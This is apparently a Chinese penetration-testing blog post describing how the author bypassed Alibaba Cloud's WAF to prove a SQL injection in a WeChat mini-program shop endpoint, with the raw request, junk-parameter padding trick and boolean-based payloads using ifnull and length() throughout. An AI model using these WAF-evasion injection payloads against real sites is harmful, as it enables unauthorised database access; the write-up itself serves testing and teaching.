【奇淫巧技】Bypass阿里云注入

一统江湖的大前端(10)——inversify.js控制反转

序言

我:摸鱼一时爽,一直摸鱼一时爽啊:relieved:
大佬:还摸鱼,快来搞个注入。
我:。。。

拿到数据包

GET /wxapp.php?i=undefined&t=undefined&v=undefined&from=wxapp&c=entry&a=wxapp&do=index&m=lionfish_comshop&sign=9cc540f4c25c15a1a30ae983d9f28c5d&controller=index.load_condition_goodslist&token=6e4f1c83854ca18c8e4858170a559305&pageNum=1&head_id=550.0and+(CONNECTION_ID()+like+'1')&keyword=a&type=0&good_ids=&gid=0 HTTP/1.1
Host: www.xxx.com
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 MicroMessenger/7.0.9.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat
content-type: application/x-www-form-urlencoded

这不是已经payload都有了么,有啥问题么,burp走起

 

 好吧,原来是阿里云waf,开搞,大佬说要出数据证明注入。

0x01 判断数据库

既然注入点已经有了,先看看是啥数据库呗,结果尝试好多函数全都GG,user()、user、length()、len()、if全被拦,一拦一个准。。
既然常规函数不得行,那随便搞个函数看看:
payload:

550.0and+(1()+like+'1')

 

 诶嘿,报错了,MySQL数据库。
知道是啥数据库,那就好办了。

0x02 绕waf

既然是MySQL数据库,那就可以开始构造条件判断了,可是把笔记里的payload一顿梭,全都被waf拦了,居然没一个能用的,只能找找看有没有什么骚姿势了,于是,,,
有啥不懂问度娘:

https://cloud.tencent.com/developer/article/1592593

 

 这篇文章提到可以用垃圾数据进行混淆,测试一下,我们这个站POST提交也可以,于是开搞。
打开sublime,复制粘贴运行,200个垃圾数据键值对就出来了,复制到burp,wtf?还是被拦了。
难道是键值对太少了?继续,忘了复制粘贴多少次了,后面测试的时候length()居然可以了。(前面一直被拦)
payload:

550.0 and+(length(1)+like+'1')

 

 说明垃圾数据生效了,继续

0x03 更换参数

既然waf也绕过了,也就继续构造条件判断语句。可是。。。
后面发现不管语句判断正确与否,只要语法是正确的,返回结果都是一样的。
于是查看原先的参数,发现keyword参数才是查询的字段,会影响查询返回内容。

keyword=a

 

 

keyword=b

 

 于是对keyword参数进行注入。
payload:

keyword=a'

返回内容中得到SQL语句:

%' and gc.begin_time 1603364903 and g.total > 0

也就是注入点是在like查询中。

面试被问线程池,真香

 

 payload:

a%25'or+length(1)=' 返回所有
a%25'and+length(1)=' 返回空

0x04 条件判断

找到可构造的点,开始构造条件判断
这里重新试了其他函数:if、case、user()、current_user也不行,还是会被拦,搞不懂。:weary:
payload:

a%25'or+ifnull(user()%20like'n%25',1)='%

 

 后面发现ifnull不会被拦。

a%25'or+ifnull('ra'like'r%25',1)='% true
a%25'or+ifnull('1ra'like'r%25',1)='% false

根据返回内容长度判断条件查询成功。
条件ture的时候返回长度为:4027
条件false的时候返回长度为:3886
继续fuzz:然后在删掉括号时发现报错为字段错误
payload:

a%25'or+ifnull(user%20like'n%25',1)='%

 

 看到这个,想起cha牛说的可以用数据库中原本的数据来判断SQL注入,于是对字段进行爆破:
(参数字典可以用自己的也可以搜集这个站的参数进行爆破)

 

 这里第一个price尝试的时候啥都没变化,于是换了第二个参数type

 

 

这里爆破的时候发现返回数据长度跟在repeat的时候不一样,经常在repeat模块验证,得到type的第一个字母为n,于是先判断type的长度为多少。
直接手工测试,因为爆破出来的结果很奇怪无法判断。(玄学)

payload:

a%25'or+ifnull/**/(length(type)=6,1)='%

还好长度不长,只试到6就出来了。
接着继续爆破type的后5位(纯手工。。。)
得到最终结果:tyep=normal

最终payload:

a%25'or+ifnull(type='normal',1)='%

 

 

到这里就成功绕过阿里云waf,利用数据库原有的数据证明该注入存在且可利用了。

尾声

我:完事,来一支事后烟。
我:忘了我不抽烟了。
我:继续摸鱼

 

笨鸟先飞早入林,笨人勤学早成材。

转载请注明出处:
撰写人:fox-yu  http://www.cnblogs.com/fox-yu/

迟到的2020年终总结:责任与能力

相关推荐

发表评论

路人甲

网友评论(0)